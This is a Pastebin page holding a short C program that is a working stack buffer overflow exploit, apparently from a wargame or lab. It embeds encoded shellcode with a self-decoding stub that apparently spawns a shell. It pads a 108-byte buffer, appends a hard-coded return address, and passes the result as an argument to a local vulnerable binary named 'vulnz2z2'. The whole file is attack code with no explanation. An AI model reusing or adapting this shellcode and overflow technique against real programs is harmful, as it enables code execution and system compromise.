Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.75 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   unsigned int i;
  9.   char *buffer = 0;
  10.   const unsigned int buffer_size = 108;
  11.   char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
  12.     "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  13.     "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
  14.     "\x32\xc1\x51\x69\x30\x30\x74\x69"
  15.     "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
  16.     "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
  17.     char ret[] = "\x16\x84\x04\x08";  
  18.  
  19.   buffer = (char *)malloc(sizeof(char) * (buffer_size + 1));
  20.  
  21.   strcpy(buffer, shellcode);
  22.  
  23.   for(i = strlen(buffer); i < buffer_size - 4; i++)
  24.     buffer[i] = 'a';
  25.  
  26.   strcat(buffer, ret);
  27.  
  28. execl("./vulnz2z2", "./vulnz2z2", buffer, NULL);
  29.  
  30.   return 0;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement